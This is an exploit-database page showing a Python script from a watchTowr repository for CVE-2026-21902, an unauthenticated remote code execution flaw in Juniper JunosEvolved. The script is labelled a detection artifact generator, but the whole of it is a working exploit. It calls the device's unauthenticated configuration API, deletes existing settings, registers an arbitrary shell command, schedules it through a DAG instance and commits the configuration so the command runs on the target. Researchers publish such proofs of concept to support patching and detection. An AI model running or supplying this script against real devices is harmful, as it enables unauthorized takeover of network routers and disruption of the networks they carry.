Exploit databaseDownload repository ZIP
GH-24b7d960ee2db1652e799f374240b939
watchtowrlabs/watchtowr-vs-junosevolved-cve-2026-21902
Sources for CVE-2026-21902
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files2
watchtowrlabs/watchtowr-vs-junosevolved-cve-2026-21902Revision dc3e210355cf
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
watchTowr-vs-JunosEvolved-CVE-2026-21902.py
Python · 4,575 bytesimport requests
import argparse
import json
import time
def req(method, url, json=None):
return requests.request(method, url, json=json).text
def main(args):
banner = """ __ ___ ___________
__ _ ______ _/ |__ ____ | |_\\__ ____\\____ _ ________
\\ \\/ \\/ \\__ \\ ___/ ___\\| | \\| | / _ \\ \\/ \\/ \\_ __ \\
\\ / / __ \\| | \\ \\___| Y | |( <_> \\ / | | \\/
\\/\\_/ (____ |__| \\___ |___|__|__ | \\__ / \\/\\_/ |__|
\\/ \\/ \\/
watchTowr-vs-JunosEvolved-CVE-2026-21902.py
(*) Juniper JunosEvolved Unauthenticated Remote Code Execution Detection Artifact Generator
- McCaulay (@_mccaulay) of watchTowr (@watchTowrcyber)
CVEs: [CVE-2026-21902]
"""
print(banner)
basename = f"http://{args.rhost}:{args.rport}"
platform = args.platform
command_name = args.command_name
dag_name = args.dag_name
dag_instance_name = args.dag_instance_name
action_name = args.action_name
# Delete existing configuration to ensure a clean state
req("DELETE", f"{basename}/config/command/{command_name}")
req("DELETE", f"{basename}/config/dag/{dag_name}")
req("DELETE", f"{basename}/config/dag-instance/{dag_instance_name}")
req("POST", f"{basename}/config/commit")
# Create a command that executes an arbitrary shell command (e.g., "touch /tmp/hello")
response = req("POST", f"{basename}/config/command/{command_name}", json={
"syntax": args.command,
"type": "RE-SHELL",
"parsing": {
},
"outputs": {
"result": {"type": "str"}
},
"doc": ""
})
if 'message' not in response and 'created' not in response:
print(f"[-] Failed to create command: {response}")
return
print(f"[+] {json.loads(response)['message']}")
# Create a DAG that includes the command
response = req("POST", f"{basename}/config/dag/{dag_name}", json={
"start": [action_name],
"edges": [],
"actions": {
action_name: {
"command": command_name,
"inputs": {}
}
},
"doc": ""
})
if 'message' not in response and 'created' not in response:
print(f"[-] Failed to create DAG: {response}")
return
print(f"[+] {json.loads(response)['message']}")
# Create and enable a DAG instance to trigger execution
response = req("POST", f"{basename}/config/dag-instance/{dag_instance_name}", json={
"dag": dag_name,
"enabled": True,
"platform": platform,
"target": {
"type": "RE"
},
"schedule": {
"start": int(time.time()),
"delay": 0
},
"context": {}
})
if 'message' not in response and 'created' not in response:
print(f"[-] Failed to create DAG instance: {response}")
return
print(f"[+] {json.loads(response)['message']}")
# Commit the configuration
response = req("POST", f"{basename}/config/commit")
if 'valid' not in response and 'True' not in response:
print(f"[-] Failed to commit configuration: {response}")
return
print('[+] Config committed...')
# Schedule takes up to 30 seconds to execute
print('[#] Waiting for command execution...')
time.sleep(30)
print('[+] Command executed, check the target for results!')
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Juniper JunosEvolved CVE-2026-21902 Detection Artifact Generator")
parser.add_argument("rhost", help="The target hostname or IP address")
parser.add_argument("-p", "--rport", type=int, default=8160, help="The target port number (Default: 8160)")
parser.add_argument("-c", "--command", required=True, help="The command to execute on the target")
parser.add_argument("--platform", default="PTX10001-36MR", help="The target platform (Default: PTX10001-36MR)")
parser.add_argument("--command-name", default="cmd1", help="The name of the command to create (Default: cmd1)")
parser.add_argument("--dag-name", default="dag1", help="The name of the DAG to create (Default: dag1)")
parser.add_argument("--dag-instance-name", default="instance1", help="The name of the DAG instance to create (Default: instance1)")
parser.add_argument("--action-name", default="action1", help="The name of the action to create (Default: action1)")
main(parser.parse_args())